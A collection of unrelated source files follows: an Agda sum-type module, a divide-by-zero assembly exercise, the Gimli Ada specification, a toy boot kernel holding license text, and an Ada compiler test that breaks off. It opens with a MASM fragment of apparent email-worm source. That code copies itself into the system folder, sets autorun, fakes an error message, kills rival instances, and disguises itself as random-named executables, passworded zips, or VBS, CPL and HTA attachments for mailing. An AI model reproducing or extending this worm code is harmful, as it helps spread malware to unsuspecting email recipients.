LOCAL buf[30]: BYTE
invoke GlobalAlloc, GPTR, 8192
mov lpTextFileName, eax
invoke GlobalAlloc, GPTR, 8192
mov lpTextFileName2, eax
invoke GetRandomID, eax, 6
invoke GlobalAlloc, GPTR, 8192
mov lpDestFileName, eax
invoke lstrcpy, lpDestFileName, offset szSysDirFileName
invoke StrDup, lpDestFileName
mov lpOrigFileName, eax
invoke lstrcat, lpDestFileName, offset szTextOpen
invoke StrDup, lpDestFileName
mov lpSrcFileName, eax
invoke lstrcat, lpDestFileName, offset szTextOpen
invoke lstrcpy, lpTextFileName, lpDestFileName
invoke lstrcat, lpTextFileName, offset szTextOpen
invoke lstrcat, lpTextFileName, offset szTextOpen
invoke SetFileAttributes, lpSrcFileName, FILE_ATTRIBUTE_NORMAL
invoke SetFileAttributes, lpTextFileName, FILE_ATTRIBUTE_NORMAL
invoke SetFileAttributes, lpDestFileName, FILE_ATTRIBUTE_NORMAL
invoke CopyFile, lpOrigFileName, lpSrcFileName, FALSE
; Zero set password
invoke ZeroMemory, offset szZipPassBuff, 100
; Remove junk bytes
invoke TruncSrcFile, lpSrcFileName
; Random bytes in .xxx file
invoke ZeroMemory, addr buf2, 30
invoke Rand, 5
add eax, 5
invoke GetRandomID, addr buf2, eax
invoke EmailRandomExt
invoke lstrcat, addr buf2, eax
; Choose random .exe name for zip attach
invoke ZeroMemory, addr buf, 30
invoke Rand, 5
add eax, 5
invoke GetRandomID, addr buf, eax
invoke lstrcat, addr buf, offset szExeExe
invoke Rand, 100
.IF eax >= 50
; 50% zip, vbs, cpl, hta
invoke Rand, 100
.IF eax >= 80
; 20% zip
; Create junk file
invoke CreateFile, lpTextFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL
mov hFile2, eax
invoke lstrlen, lpTextFileName2
xchg eax, edx
invoke WriteFile, hFile2, lpTextFileName2, edx, addr dwWritten, NULL
invoke CloseHandle, hFile2
; Gen password
invoke GetRandomNumID, offset szZipPassBuff, 5
invoke EncodePass, offset szZipPassBuff
mov szAttachExt, offset szExeZip
invoke CreateZipFile, lpSrcFileName, lpTextFileName, lpDestFileName, addr buf, addr buf2, offset szZipPassBuff
.ELSEIF eax >= 50
; 30% vbs
mov szAttachExt, offset szExeVbs
invoke CreateVBSFile, lpSrcFileName, lpDestFileName
.ELSEIF eax >= 20
; 30% cpl
mov szAttachExt, offset szExeCpl
invoke CreateCPLFile, lpSrcFileName, lpDestFileName
.ELSE
; 20% hta
mov szAttachExt, offset szExeHta
invoke CreateHTAFile, lpSrcFileName, lpDestFileName
.ENDIF
.ELSE
; 50% plain
invoke Rand, 100
.IF eax >= 80
; 20% exe
mov szAttachExt, offset szExeExe
.ELSEIF eax >= 40
; 40% com
mov szAttachExt, offset szExeCom
.ELSE
; 40% scr
mov szAttachExt, offset szExeScr
.ENDIF
invoke SetFileAttributes, lpDestFileName, FILE_ATTRIBUTE_NORMAL
invoke CopyFile, lpSrcFileName, lpDestFileName, FALSE
.ENDIF
test eax, eax
jz @file_open_error
invoke FileToBase64, lpDestFileName, offset b64Attach, offset b64AttachLen
@file_open_error:
invoke GlobalFree, lpDestFileName
invoke LocalFree, lpSrcFileName
invoke LocalFree, lpOrigFileName
invoke GlobalFree, lpTextFileName
invoke GlobalFree, lpTextFileName2
IFNDEF DisableInfect
invoke LoadWorkFile, offset szSysDirFileName
ENDIF
ret
EncodeSelf endp
IsShouldRun proc
LOCAL SysTime: SYSTEMTIME
LOCAL UntilTime: SYSTEMTIME
LOCAL FilTime: FILETIME
LOCAL UntilFil: FILETIME
invoke GetLocalTime, addr SysTime
invoke ZeroMemory, addr UntilTime, sizeof SYSTEMTIME
mov UntilTime.wYear, WorkUntilYear
mov UntilTime.wMonth, WorkUntilMonth
mov UntilTime.wDay, WorkUntilDay
invoke SystemTimeToFileTime, addr SysTime, addr FilTime
invoke SystemTimeToFileTime, addr UntilTime, addr UntilFil
invoke CompareFileTime, addr FilTime, addr UntilFil
.IF eax == 1
xor eax, eax
.ELSE
xor eax, eax
inc eax
.ENDIF
ret
IsShouldRun endp
; Delete previous instance if running
KillPrevInst proc uses esi ebx
LOCAL Process: PROCESSENTRY32
LOCAL hSnapshot: DWORD
invoke GetCurrentProcessId
mov esi, eax
mov ebx, offset szBglRealName
inc ebx
mov Process.dwSize, sizeof PROCESSENTRY32
invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr Process
@l:
.IF eax
invoke StrStrI, addr Process.szExeFile, ebx
.IF (eax) && (Process.th32ProcessID != esi)
invoke KillProcess, Process.th32ProcessID
.ENDIF
invoke Process32Next, hSnapshot, addr Process
jmp @l
.ENDIF
invoke CloseHandle, hSnapshot
IFNDEF TESTVERSION
invoke Sleep, 3500
ENDIF
xor eax, eax
ret
KillPrevInst endp
StartUp proc
LOCAL upd: DWORD
mov upd, FALSE
invoke CRC32BuildTable
invoke Randomize
invoke EmailRandInit
; Get loader filename & add it to autorun
invoke GetSystemDirectory, offset szSysDirFileName, MAX_PATH
invoke lstrcat, offset szSysDirFileName, offset szBglRealName
invoke GetModuleFileName, NULL, offset szRunFileName, MAX_PATH
invoke WriteAutoStart
invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL
invoke GetCommandLine
@check_upd_loop:
cmp dword ptr[eax+1], 'dpu-'
jz @do_update
IFDEF TESTVERSION
cmp dword ptr[eax+1], 'led-'
jz @do_del
ENDIF
inc eax
cmp byte ptr[eax+4], 0
jnz @check_upd_loop
jmp @do_not_update
IFDEF TESTVERSION
@do_del:
invoke KillPrevInst
invoke DoSelfDelete
ENDIF
@do_update:
mov upd, TRUE
invoke KillPrevInst
@do_not_update:
; Check if running from system folder
invoke lstrcmpi, offset szRunFileName, offset szSysDirFileName
.IF eax
; Running from unknown folder
; Show error message
.IF !upd
invoke GetDesktopWindow
invoke MessageBox, eax, offset szShowMessage, offset szShowCaption, MB_ICONERROR
.ENDIF
; Copy file to %system% folder and run
invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL
invoke CopyFile, offset szRunFileName, offset szSysDirFileName, FALSE
.IF eax
invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL
invoke ShellExecute, 0, offset szTextOpen, offset szSysDirFileName, NULL, NULL, SW_HIDE
.ENDIF
invoke ExitProcess, 0
.ELSE
; Running from system folder, start replacation code
.ENDIF
ret
StartUp endp
|
vendor/stdlib/src/Data/Sum.agda | isabella232/Lemmachine | 56 | 15767 | <reponame>isabella232/Lemmachine
------------------------------------------------------------------------
-- Sums (disjoint unions)
------------------------------------------------------------------------
module Data.Sum where
open import Data.Function
open import Data.Maybe.Core
------------------------------------------------------------------------
-- Definition
infixr 1 _⊎_
data _⊎_ (A B : Set) : Set where
inj₁ : (x : A) → A ⊎ B
inj₂ : (y : B) → A ⊎ B
------------------------------------------------------------------------
-- Functions
[_,_] : ∀ {A B} {C : A ⊎ B → Set} →
((x : A) → C (inj₁ x)) → ((x : B) → C (inj₂ x)) →
((x : A ⊎ B) → C x)
[ f , g ] (inj₁ x) = f x
[ f , g ] (inj₂ y) = g y
[_,_]′ : ∀ {A B C : Set} → (A → C) → (B → C) → (A ⊎ B → C)
[_,_]′ = [_,_]
map : ∀ {a b c d} → (a → c) → (b → d) → (a ⊎ b → c ⊎ d)
map f g = [ inj₁ ∘ f , inj₂ ∘ g ]
infixr 1 _-⊎-_
_-⊎-_ : ∀ {a b} → (a → b → Set) → (a → b → Set) → (a → b → Set)
f -⊎- g = f -[ _⊎_ ]₁- g
isInj₁ : ∀ {A B} → A ⊎ B → Maybe A
isInj₁ (inj₁ x) = just x
isInj₁ (inj₂ y) = nothing
isInj₂ : ∀ {A B} → A ⊎ B → Maybe B
isInj₂ (inj₁ x) = nothing
isInj₂ (inj₂ y) = just y
|
SE-2/MIL/3_tsr-div0/div0.asm | Adityajn/College-Codes | 1 | 67 | .MODEL TINY
.CODE
ORG 100H
BEGIN:
MOV AX,10H
MOV BX,0H
DIV BX
MOV AH,4CH
INT 21H
END BEGIN |
src/common/gimli.ads | damaki/libkeccak | 26 | 11360 | -------------------------------------------------------------------------------
-- Copyright (c) 2019, <NAME>
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
-- * Redistributions of source code must retain the above copyright
-- notice, this list of conditions and the following disclaimer.
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
-- * The name of the copyright holder may not be used to endorse or promote
-- Products derived from this software without specific prior written
-- permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY
-- DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-- (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-- LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-- ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
-- THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-------------------------------------------------------------------------------
with Interfaces; use Interfaces;
with Keccak.Types;
-- @summary
-- Implementation of the Gimli permutation.
package Gimli
with SPARK_Mode => On
is
State_Size_Bits : constant := 384;
-- The Gimli state size, in bits.
type State is private;
-- The Gimli state.
procedure Init (S : out State)
with Global => null,
Depends => (S => null);
-- Initialise the Gimli state to all zeroes.
procedure Permute (S : in out State)
with Global => null,
Depends => (S =>+ null);
-- Apply the Gimli permutation function.
procedure XOR_Bits_Into_State (S : in out State;
Data : in Keccak.Types.Byte_Array;
Bit_Len : in Natural)
with Global => null,
Depends => (S =>+ (Data, Bit_Len)),
Pre => (Bit_Len <= State_Size_Bits
and then (Bit_Len + 7) / 8 <= Data'Length);
-- XOR an arbitrary number of bits into the Gimli state.
--
-- The data size (in bits) cannot exceed the Gimli size (384 bits).
procedure Extract_Bytes (S : in State;
Data : out Keccak.Types.Byte_Array)
with Global => null,
Depends => (Data =>+ S),
Pre => Data'Length <= (State_Size_Bits / 8);
pragma Annotate
(GNATprove, False_Positive,
"""Data"" might not be initialized",
"GNATprove issues a false positive due to the use of loops to initialize Data");
-- Copy bytes from the Gimli state.
--
-- The number of bytes to copy cannot exceed the Gimli state size (48 bytes)
procedure Extract_Bits (A : in State;
Data : out Keccak.Types.Byte_Array;
Bit_Len : in Natural)
with Global => null,
Depends => (Data =>+ (A, Bit_Len)),
Pre => (Bit_Len <= State_Size_Bits
and then Data'Length = (Bit_Len + 7) / 8);
-- Copy bits from the Gimli state.
--
-- The number of bits to copy cannot exceed the Gimli state size (384 bits)
private
type Row_Number is range 0 .. 2;
type Column_Number is range 0 .. 3;
type Round_Number is range 1 .. 24;
type State is array (Column_Number, Row_Number) of Unsigned_32
with Size => 384;
procedure SP_Box (S : in out State)
with Inline,
Global => null,
Depends => (S =>+ null);
-- SP-box operation.
procedure Swap (A, B : in out Unsigned_32)
with Inline,
Global => null,
Depends => (A => B,
B => A),
Post => (A = B'Old and B = A'Old);
-- Swap two words.
end Gimli;
|
kernel.asm | abdalmoez/GOBOOT16 | 0 | 11770 | [BITS 16]
ORG 0
mov ax,0x0050
mov ds,ax
mov es,ax
mov fs,ax
mov al,'$'
mov ah,0xE
int 0x10
mov si,msg
call Print
jmp $
msg db "Hello world\nThe code page stored in ROM is also called the hardware code page. In Western PCs it typically defaults to code page 437, but various Eastern European PCs used a number of other code pages as hardware code page, sometimes user-selectable via jumpers or CMOS setup. Arabic and Hebrew PCs and printers even supported multiple software-switchable hardware code pages, also named font pages."
db "The original IBM PC contained this font as a 9×14 pixels-per-character font stored in the ROM of the IBM Monochrome Display Adapter (MDA) and an 8×8 pixels-per-character font of the Color Graphics Adapter (CGA) cards. The IBM Enhanced Graphics Adapter (EGA) contained an 8×14 pixels-per-character version, and the VGA contained a 9×16 version.All these display adapters have text modes in which each character cell contains an 8-bit character code point (see details), giving 256 possible values for graphic characters. All 256 codes were assigned a graphical character in ROM, including the codes from 0 to 31 that were reserved in ASCII for non-graphical control characters."
db "\nA legacy of code page 437 and other DOS codepages is the set of number combinations used in Windows Alt keycodes introduced in the first versions of MS-DOS. The user could enter a character by holding down the Alt key and entering the three-digit decimal Alt keycode on the numpad. When Microsoft switched to more standard character sets (such as CP1252 and later Unicode) in Windows, so many users had memorized the numbers used by their DOS codepage that Microsoft had to retain the original codes (they added the ability to type a code in the current character set by typing the numpad 0 before the digits)"
db "\nThe first cluster of the data area is cluster #2. That leaves the first two entries of the FAT unused. In the first byte of the first entry a copy of the media descriptor is stored. The remaining bits of this entry are 1. In the second entry the end-of-file marker is stored. The high order two bits of the second entry are sometimes, in the case of FAT16 and FAT32, used for dirty volume management: high order bit 1: last shutdown was clean; next highest bit 1: during the previous mount no disk I/O errors were detected."
db "The first byte of a name must not be 0x20 (space). Short names or extensions are padded with spaces. Special ASCII characters 0x22 ('), 0x2a (*), 0x2b (+), 0x2c (,), 0x2e (.), 0x2f (/), 0x3a (:), 0x3b (;), 0x3c (<), 0x3d (=), 0x3e (>), 0x3f (?), 0x5b ([), 0x5c (\), 0x5d (]), 0x7c (|) are not allowed. "
db "In Windows 95 a variation was introduced: VFAT. VFAT (Virtual FAT) is FAT together with long filenames (LFN), that can be up to 255 bytes long. The implementation is an ugly hack. These long filenames are stored in special directory entries. A special entry looks like this: "
db "The short name is derived from the long name as follows: The extension is the extension of the long name, truncated to length at most three. The first six bytes of the short name equal the first six nonspace bytes of the long name, but bytes +,;=[], that are not allowed under DOS, are replaced by underscore. Lower case is converted to upper case. The final two (or more, up to seven, if necessary) bytes become ~1, or, if that exists already, ~2, etc., up to ~999999. OK :)"
db "The licenses for most software are designed to take away your"
db "freedom to share and change it. By contrast, the GNU General Public"
db "License is intended to guarantee your freedom to share and change free"
db "software--to make sure the software is free for all its users. This"
db "General Public License applies to most of the Free Software"
db "Foundation's software and to any other program whose authors commit to"
db "using it. (Some other Free Software Foundation software is covered by"
db "the GNU Library General Public License instead.) You can apply it to"
db "your programs, too."
db " When we speak of free software, we are referring to freedom, not"
db "price. Our General Public Licenses are designed to make sure that you"
db "have the freedom to distribute copies of free software (and charge for"
db "this service if you wish), that you receive source code or can get it"
db "if you want it, that you can change the software or use pieces of it"
db "in new free programs; and that you know you can do these things."
db " To protect your rights, we need to make restrictions that forbid"
db "anyone to deny you these rights or to ask you to surrender the rights."
db "These restrictions translate to certain responsibilities for you if you"
db "distribute copies of the software, or if you modify it."
db " For example, if you distribute copies of such a program, whether"
db "gratis or for a fee, you must give the recipients all the rights that"
db "you have. You must make sure that they, too, receive or can get the"
db "source code. And you must show them these terms so they know their"
db "rights."
db " We protect your rights with two steps: (1) copyright the software, and"
db "(2) offer you this license which gives you legal permission to copy,"
db "distribute and/or modify the software."
db "Also, for each author's protection and ours, we want to make certain"
db "that everyone understands that there is no warranty for this free"
db "software. If the software is modified by someone else and passed on, we"
db "want its recipients to know that what they have is not the original, so"
db "that any problems introduced by others will not reflect on the original"
db "authors' reputations."
db " Finally, any free program is threatened constantly by software"
db "patents. We wish to avoid the danger that redistributors of a free"
db "program will individually obtain patent licenses, in effect making the"
db "program proprietary. To prevent this, we have made it clear that any"
db "patent must be licensed for everyone's free use or not licensed at all."
db "AVAST END USER LICENSE AGREEMENT(FREE VERSION)PLEASE READ THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT (“AGREEMENT”) CAREFULLY BEFORE USING THE SOFTWARE (AS DEFINED BELOW). THIS IS A LEGALLY BINDING CONTRACT BETWEEN YOU AND AVAST SOFTWARE a.s., A COMPANY DULY ORGANIZED AND EXISTING UNDER THE LAWS OF THE CZECH REPUBLIC, REGISTERED IN THE COMMERCIAL REGISTER MAINTAINED BY THE MUNICIPAL COURT IN PRAGUE IN SECTION B, INSERT NO. 11402 (“AVAST”). BY ASSENTING ELECTRONICALLY, INSTALLING OR USING THIS SOFTWARE YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. If you do not agree with the terms and conditions of this Agreement, do not continue the installation process and delete or destroy all copies of the Software in your possession. This Agreement accompanies certain software (including any upgrades or updates thereto as provided by AVAST, the “Software”) and related explanatory written materials (the “Documentation”). 1. LicenseAVAST grants to you a non-exclusive perpetual license to use the Software and the Documentation for so long as AVAST makes the Software available, provided that you agree to the terms and conditions of this Agreement. 2. Permitted Use of the SoftwareYou"
db " may install and use the Software on an unlimited number of computers. The Software must be used exclusively by you or members of your household solely for private non-commercial purposes. You may also make one backup copy of the Software.ANY USE OF THE SOFTWARE OTHER THAN AS EXPRESSLY AUTHORIZED BY THIS SECTION OR ANY RESALE OR FURTHER DISTRIBUTION OF THE SOFTWARE CONSTITUTES A MATERIAL BREACH OF THIS AGREEMENT AND MAY VIOLATE APPLICABLE COPYRIGHT LAWS.3."
db " Upgrades and UpdatesUpgrades and updates of the Software shall be provided to you by AVAST as long as and to the extent in which AVAST in its exclusive discretion makes such upgrades and updates available to the users of the free version of the Software.4. Ownership RightsThe Software and Documentation is the intellectual property of AVAST and is protected by applicable copyright laws, international treaty provisions and other applicable laws of the country in which the Software is being used. The structure, organization and code of the Software are valuable trade secrets and confidential information of AVAST. To the extent you provide any comments or suggestions about the Software to AVAST, AVAST shall have the right to retain and use any such comments or suggestions in our current or future products or services, without further compensation to you and without your approval of such retention or use.Except as stated in this Agreement, your possession, installation and use of the Software does not grant you any rights or title to any intellectual property rights in the Software or Documentation. All rights to the Software and Documentation, including all associated copyrights, patents, trade secret rights, trademarks and other intellectual property rights, are reserved by AVAST. 5. RestrictionsYou may not copy or use the Software or the Documentation except as set forth in Section 2 of this Agreement. You may not remove any proprietary notices or labels on the Software;"
db " any copies that you are permitted to make pursuant to this Agreement must contain the same copyright and other proprietary notices that appear on and in the Software. You agree not to modify, adapt, translate, reverse engineer, decompile or disassemble the Software or otherwise attempt to discover the source code of the Software or algorithms contained therein or create any derivative works from the Software. You are not permitted to use the Software in connection with the provision of any commercial services which include"
db " processing or transferring the data of or for other persons or entities (“Data”), including cloud computing and “Software as a Service” solutions, providing storage capacities for Data; transmitting, routing of or providing connection to Data, or providing information search tool services. You may not permit third parties to benefit from the use or functionality of the Software via a timesharing, service bureau or other similar arrangement.6. TransferYou may not rent, lease, sub-license, or lend the Software or the Documentation or any portions thereof. You may, however, transfer all your rights to use the Software and the Documentation to another person provided that (i) the transferee accepts the terms of this Agreement; (ii) you transfer the Software, including all copies, updates and prior versions, and all Documentation to such person; and (iii) you retain no copies of the Software or of the Documentation, including but not limited to copies stored on your computer. Partial transfer of your rights under this Agreement is strictly prohibited. 7. Disclaimers and Exclusion of LiabilityBe aware that the Software may make changes to your computer "
db "that may adversely affect its functionality, such as deleting system or application files identified (correctly or incorrectly) by the Software as infected. You acknowledge and agree to such changes to your computer that may occur as a result of your use of the Software. The Software is not fault-tolerant and as such is not designed for use in hazardous environments requiring fail-safe performance.AVAST AND ITS DISTRIBUTORS DO NOT AND CANNOT WARRANT THE PERFORMANCE OR RESULTS YOU MAY OBTAIN BY USING THE SOFTWARE OR DOCUMENTATION. THE REMEDY IN THIS SECTION STATES THE SOLE AND EXCLUSIVE REMEDIES FOR AVAST'S OR ITS DISTRIBUTORS’ OR AGENTS’ BREACH OF WARRANTY. THE SOFTWARE IS PROVIDED “AS IS” AND AVAST AND ITS DISTRIBUTORS MAKE NO EXPRESS OR IMPLIED WARRANTIES OR CONDITIONS AND, TO THE MAXIMUM EXTENT PERMITTED BY LAW, DISCLAIM ANY AND ALL CONDITIONS AND WARRANTIES IMPLIED BY STATUTE, COMMON LAW OR JURISPRUDENCE, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF NONINFRINGEMENT OF THIRD PARTY RIGHTS, MERCHANTABILITY, SUITABLE QUALITY OR FITNESS FOR ANY PARTICULAR PURPOSE.YOU AGREE AND ACCEPT THAT, TO THE FULL EXTENT PERMITTED BY LAW, IN NO EVENT WILL AVAST OR ITS DISTRIBUTORS OR AGENTS BE LIABLE TO YOU FOR ANY DAMAGES, ESPECIALLY FOR CONSEQUENTIAL, INCIDENTAL OR SPECIAL DAMAGES, INCLUDING ANY LOST PROFITS, LOST SAVINGS OR LOST DATA, EVEN IF AVAST OR ITS DISTRIBUTOR OR AGENT HAS BEEN ADVISED OF THE POSSIBILITY OF "
db "SUCH DAMAGES, OR FOR ANY CLAIM BY ANY THIRD PARTY. TO THE FULL EXTENT PERMITTED BY LAW, YOU AGREE AND ACCEPT THAT IN NO CASE SHALL AVAST’S OR ITS DISTRIBUTORS’ "
db "OR AGENTS LIABILITY FOR ANY DAMAGE EXCEED THE LESSER OF FIVE U.S. DOLLARS ($5.00) OR THE AMOUNT OF THE ONE YEAR"
db " LICENSE FEE FOR AVAST’S COMMERCIAL PRODUCT CLOSEST TO YOUR FREE VERSION OF THE SOFTWARE."
db "THE FOREGOING EXCLUSIONS AND LIMITATIONS OF LIABILITY OF AVAST AND ITS DISTRIBUTORS DO NOT LIMIT POTENTIAL LIABILITY FOR DEATH, PERSONAL INJURY OR FRAUD OVER THE EXTENT PERMITTED BY APPLICABLE LAWS.8. Privacy; Processing of Personal InformationThe Software automatically and from time to time may collect certain information, which may include personally identifiable information, from the computer on which it is installed, including:8.1 URLs of visited websites that the Software identifies as potentially infected, together with the information on the nature of identified threats (e.g. viruses, Trojans, tracking cookies and any other forms of malware) and URLs of several sites visited before the infection was identified to ascertain the source of the infection;8.2 Information and files (including executable files) on your computer identified by the Software as potentially infected, together with the information about the nature of identified threats;8.3 Information about the sender and subject of emails identified by the Software as potentially infected, together with the information on the nature of identified threats;8.4 Information contained in emails reported by you as spam or as incorrectly identified as spam by the Software;8.5 Copies of the files identified by the Software as potentially infected or parts thereof may be automatically sent to AVAST for further examination and analysis;8.6 Certain information"
db " about your computer hardware, software and/or network connection;8.7 Certain information about the installation and operation of the Software and encountered errors or problems;8.8 Statistical information about threats detected by the Software; an8.9 If your version of the Software includes the Website reputation function, which provides information on reputation of web sites as potential sources of malware, and you set the Website reputation function to active,"
db " the Software may send AVAST the URLs of all websites you want to visit and the results of your web searches through search engines."
db " The information collected by the Software is generally not correlated with any other personal information related to you that AVAST may be processing such as information given by you to AVAST or its distributors or agents during the process of ordering and downloading the Software. Unless you have permitted otherwise, the information collected by the Software is used anonymously in aggregation with similar information from other users of the Software for analytical purposes to identify new viruses and threats and for improvement and development of the Software and for statistical purposes.By using the Software you acknowledge and agree that AVAST or its distributors or agents may collect and use the information as described above. You are giving this consent on behalf of all users of all computers where the Software will be used under this license and you accept full responsibility for informing all users and acquiring their fully informed, free and valid consent with processing of their personal information by the Software as described above.Notwithstanding anything to the contrary in the AVAST privacy policy, you consent during the term of this Agreement and for one (1) year thereafter to (i) AVAST sharing information collected by you during your installation or registration of the Software with AVAST’s distributors and other business partners and (ii) use of such information by AVAST, its distributors and other business partners to present you with information that may be relevant to you, including offers of software, services or other products. The collected information may be transferred to third parties or to other countries that may have less protective data protection laws than the country or region in which you are situated (including the European Union). AVAST takes measures to ensure that any collected information will receive an adequate level of protection if and when transferred. Notwithstanding anything to the contrary in"
db " this Agreement or any Documentation or other materials provided to you in connection with the Software, AVAST reserves all rights to cooperate with any legal process or government inquiry (including, but not limited to, court orders and law enforcement requests) related to your use of the Software. In connection with such cooperation, AVAST may provide documents and information relevant to a court subpoena or government or other legal investigation, which may include disclosure of your personally identifiable information. AVAST may also use statistics derived from the collected information to track and publish reports on security risk trends. By using the Software, you acknowledge and agree that AVAST may collect, transmit, store, disclose and analyze such information for any of the foregoing purposes listed in this Section.9. U.S. Government Restricted RightsThis Software and Documentation are deemed to be “commercial computer software” and “commercial computer software documentation”, respectively, and subject to certain restricted rights as identified in FAR Section 52.227-19 Commercial Computer Software - Restricted Rights and DFARS 227.7202, “Rights in Commercial Computer Software or Commercial Computer Software Documentation”, as applicable, or any successor U.S. regulations. Any use, modification, reproduction, release, performance, display or disclosure of the Software by the U.S. Government shall be done solely in accordance with this Agreement. 10. Export RegulationsYou agree and accept that the Software and the Documentation may be subject to import and export laws of any country, including those of the United States (specifically the Export Administration Regulations (EAR)) and the European Union. If you transfer or export the Software, which in all cases must be done in accordance with this Agreement, you agree to and acknowledge that you are exclusively responsible for complying with all applicable laws and regulations, including but not limited to all United States and European Union trade sanctions and export regulations"
db " (including any activities relating to nuclear, chemical or biological materials or weapons, missiles or technology capable of mass destruction), regardless of "
db "the country in which you reside in or of which you are a citizen. 11. Governing Law and JurisdictionThe laws of the State of California, excluding its conflicts of law rules, govern this Agreement and your use of the Software and the Documentation. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. The courts located within the county of Santa Clara, California shall be the exclusive jurisdiction and venue for any dispute or legal matter arising out of or in connection with this Agreement or your use of the Software and the Documentation. Notwithstanding this, you agree that AVAST shall still be allowed to apply for injunctive remedies (or an equivalent type of urgent legal relief) in any jurisdiction.12. GeneralThis Agreement is the entire agreement between you and AVAST relating to the Software and Documentation. This Agreement supersedes all prior or contemporaneous oral or written communications, proposals, and representations with respect to the Software or Documentation. Notwithstanding the foregoing, nothing in this Agreement will diminish any rights you may have under existing consumer protection legislation or other applicable laws in your jurisdiction that may not be waived by contract. This Agreement will immediately terminate upon your breach of any obligation contained herein (especially your obligations in Sections 2, 5, 10) and you shall cease use and destroy all copies of the Software and Documentation in your possession. AVAST reserves the right to any other remedies available under law in the event your breach of this Agreement adversely affects AVAST or its distributors or agents. The limitations of liability and disclaimers of warranty and damages contained herein shall survive termination of this Agreement. This Agreement may be modified by the Documentation. No provision hereof shall be deemed"
db " waived unless such waiver shall be in writing and signed by AVAST. If any provision of this Agreement is held invalid, the remainder of this Agreement shall continue in full force and effect.If you have any questions regarding this Agreement or wish to request any information from AVAST, please write to AVAST Software, Budejovicka 1518/13A, 140 00 Praha 4, Czech Republic, e-mail: <EMAIL>, tel.: +420 274 005 777 or visit our support page at www.avast.com/support."
db 0
Print:
pusha
mov ah,0xE
.lp:
lodsb
cmp al,0
je .done
int 0x10
jmp .lp
.done:
popa
ret |
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c85005a.ada | best08618/asylo | 7 | 14911 | -- C85005A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT A VARIABLE CREATED BY AN OBJECT DECLARATION CAN BE
-- RENAMED AND HAS THE CORRECT VALUE, AND THAT THE NEW NAME CAN
-- BE USED IN AN ASSIGNMENT STATEMENT AND PASSED ON AS AN ACTUAL
-- SUBPROGRAM OR ENTRY 'IN OUT' OR 'OUT' PARAMETER, AND AS AN
-- ACTUAL GENERIC 'IN OUT' PARAMETER, AND THAT WHEN THE VALUE OF
-- THE RENAMED VARIABLE IS CHANGED, THE NEW VALUE IS REFLECTED
-- BY THE VALUE OF THE NEW NAME.
-- HISTORY:
-- JET 03/15/88 CREATED ORIGINAL TEST.
WITH REPORT; USE REPORT;
PROCEDURE C85005A IS
TYPE ARRAY1 IS ARRAY (POSITIVE RANGE <>) OF INTEGER;
TYPE RECORD1 (D : INTEGER) IS
RECORD
FIELD1 : INTEGER := 1;
END RECORD;
TYPE POINTER1 IS ACCESS INTEGER;
PACKAGE PACK1 IS
K1 : INTEGER := 0;
TYPE PRIVY IS PRIVATE;
ZERO : CONSTANT PRIVY;
ONE : CONSTANT PRIVY;
TWO : CONSTANT PRIVY;
THREE : CONSTANT PRIVY;
FOUR : CONSTANT PRIVY;
FIVE : CONSTANT PRIVY;
FUNCTION IDENT (I : PRIVY) RETURN PRIVY;
FUNCTION NEXT (I : PRIVY) RETURN PRIVY;
PRIVATE
TYPE PRIVY IS RANGE 0..127;
ZERO : CONSTANT PRIVY := 0;
ONE : CONSTANT PRIVY := 1;
TWO : CONSTANT PRIVY := 2;
THREE : CONSTANT PRIVY := 3;
FOUR : CONSTANT PRIVY := 4;
FIVE : CONSTANT PRIVY := 5;
END PACK1;
TASK TYPE TASK1 IS
